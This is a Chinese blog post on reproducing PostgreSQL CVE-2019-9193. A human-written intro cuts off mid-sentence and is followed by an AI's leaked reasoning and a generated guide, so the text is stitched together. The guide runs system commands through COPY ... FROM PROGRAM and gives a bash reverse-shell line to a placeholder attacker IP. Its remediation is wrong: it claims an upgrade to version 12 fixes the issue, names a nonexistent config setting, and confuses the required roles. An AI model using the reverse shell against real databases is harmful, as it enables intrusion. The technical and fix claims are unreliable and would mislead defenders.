漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)

1.jpeg

PostgreSQL是当下最流行的数据库系统之一,它是 Mac OSX系统下最常用的数据库,但同时也提供了Windows及Linux操作系统版本。(Kali下Metasploit用的就是PostgreSQL数据库)

今天,我将要给大家介绍一个鲜为人知的PostgreSQL特性,这个特性允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3至最新版本(11.2)中这个特性是默认开启的。它将会影响所有安装了PostgreSQL的Windows,Linux以及Mac操作系统。

2.png

从9.3 版本开始,PostgreSQL实现了“COPY TO/FROM PROGRAM”这个新的功能,它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令。这意味着在数据库超级用户角色与运行此数据库的操作系统用户角色之间没有进行适当的权限的分离。

这是一种深度防御意识的的匮乏,早在2000年初,我们就在Microsoft SQL Server上见到过这种情况。当时Microsoft SQL Server默认开启xp_cmdshell这个函数,不过在Microsoft SQL Server 2005版本中这个函数被默认禁止。但是如此相似的漏洞重复出现看上是一件非常有趣的事,就像一个跳不出的魔咒。

3.png

由于这个漏洞介于权限提升和任意代码执行之间,它需

<think>嗯,我现在要复现CVE-2019-9193这个漏洞,但还不清楚具体步骤。首先,我需要了解一下这个漏洞的背景。好像这个漏洞PostgreSQL有关,涉及到任意命令执行的问题。我记得PostgreSQL是一个开源的关系型数据库,对吧?那这个漏洞的成因是什么呢?可能涉及到数据库的某些功能被滥用,比如COPY命令或者其他什么功能? 接下来,我应该查一下CVE-2019-9193的具体信息。根据公开的资料,这个漏洞允许经过身份验证的攻击者执行任意系统命令。影响版本应该是PostgreSQL 9.3到11版本。那复现这个漏洞的前条件是什么呢?可能需要在数据库中有写限的用户,比如能够创建表和执行COPY TO PROGRAM命令? 好的,复现步骤大概包括几个部分:首先配置一个存在漏洞PostgreSQL环境,然后利用COPY TO PROGRAM命令来执行系统命令。可能需要创建一个表,然后通过COPY命令将数据导入到程序中,从而触发命令执行。比如,创建一个表,插入恶意数据,然后使用COPY ... TO PROGRAM '命令'来执行系统命令,比如反弹shell或者创建文件。 不过,我需要确保测试环境的安全,避免影响其他系统。可能需要在虚拟机里安装一个旧版本的PostgreSQL,比如9.3到11之间的某个版本。安装完成后,创建测试用户和数据库,赋予相应的限。然后登录这个用户,尝试执行攻击步骤。 具体步骤可能是这样的: 1. 使用psql或者其他客户端连接到目标数据库。 2. 创建一个表,比如CREATE TABLE cmd_exec(cmd_output text); 3. 然后执行COPY cmd_exec FROM PROGRAM 'id'; 这里id是系统命令,执行后结果会保存在表中。 4. 查询表,如果看到id命令的输出,说明漏洞存在,命令执行成功。 但这里可能有限问题,比如用户是否有执行COPY TO PROGRAMPostgreSQL的配置文件中可能需要开启相关选项,比如允许执行程序。默认情况下,这些限可能受限,所以可能需要调整配置,比如修改pg_hba.conf或者调整用户的限。 另外,攻击者可能需要具有超级用户限,或者被授予了适当的限。比如,用户需要被授予pg_execute_server_program角色。但在存在漏洞的版本中,可能普通用户也能执行该命令,导致漏洞。 在复现过程中,可能遇到的问题包括如何正确安装旧版本的PostgreSQL,如何配置用户限,以及如何构造有效的payload。可能需要查阅PostgreSQL的文档,确认COPY命令的使用方式,以及如何允许用户执行外部程序。 此外,复现成功后,可能需要验证结果,比如检查系统上是否创建了预期的文件,或者命令的输出是否正确返回到了数据库表中。同时,要注意到在较新的PostgreSQL版本中,这个漏洞已经被修复,所以需要确保测试环境使用的是受影响版本。 总结一下,复现步骤大致为: - 搭建存在漏洞PostgreSQL环境(9.3-11) - 创建具有限的用户 - 利用COPY TO PROGRAM执行系统命令 - 验证命令执行结果 在过程中需要注意限配置和命令的正确构造,以及测试环境的安全隔离。</think>### CVE-2019-9193 复现指南 #### 漏洞背景 **CVE-2019-9193** 是 PostgreSQL 数据库中的一个高危漏洞,**影响版本为 9.3 至 11**。攻击者通过具有数据库写入限的账户(如普通用户),可利用 `COPY TO PROGRAM` 命令执行任意操作系统命令,从而实现远程代码执行(RCE)。 --- #### 复现条件 1. **受影响版本**:PostgreSQL 9.3、9.4、9.5、9.6、10 或 11。 2. **用户限**:攻击者需拥有以下限: - 登录数据库的凭证(用户名/密码)。 - 允许执行 `COPY ... TO PROGRAM` 的限(默认需超级用户限,但部分配置可能放宽限制)。 --- #### 复现步骤 ##### 1. 搭建测试环境(以 Ubuntu 为例) ```bash # 安装旧版本 PostgreSQL(示例为 11 版本) sudo apt-get install postgresql-11 # 启动服务 sudo service postgresql start # 创建测试用户并赋予限 sudo -u postgres psql -c "CREATE USER testuser WITH PASSWORD 'test123';" sudo -u postgres psql -c "ALTER USER testuser WITH SUPERUSER;" # 模拟放宽限的场景 ``` --- ##### 2. 利用漏洞执行命令 **步骤说明**: - **连接数据库**:使用攻击者账户登录。 - **创建表**:用于存储命令执行结果。 - **执行命令**:通过 `COPY ... TO PROGRAM` 调用系统命令。 - **验证结果**:从表中读取命令输出。 ```sql -- 连接数据库 psql -U testuser -h 127.0.0.1 -d postgres -- 创建表 CREATE TABLE cmd_exec (cmd_output text); -- 执行系统命令(示例:查看当前用户) COPY cmd_exec FROM PROGRAM 'id'; -- 读取结果 SELECT * FROM cmd_exec; ``` **预期输出**: ``` cmd_output ----------------- uid=123(postgres) gid=456 groups=... ``` --- ##### 3. 高级利用(反弹 Shell) ```sql COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"'; ``` --- #### 关键配置与修复 1. **漏洞根源**: - `COPY ... TO PROGRAM` 允许调用系统命令。 - 默认需超级用户限,但错误配置可能允许普通用户使用。 2. **修复方案**: - 升级到 PostgreSQL 12 或更高版本。 - 限制用户限:禁止普通用户执行 `COPY ... TO PROGRAM`。 - 修改 `postgresql.conf`:设置 `enable_server_side_program = off`(需重启服务)。 --- #### 注意事项 - **安全隔离**:复现需在虚拟机或隔离环境中进行。 - **限最小化**:生产环境中避免赋予用户过高限。 - **日志审计**:监控数据库日志中的可疑 `COPY` 操作。 通过以上步骤,可验证 CVE-2019-9193 的利用过程及修复方案。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值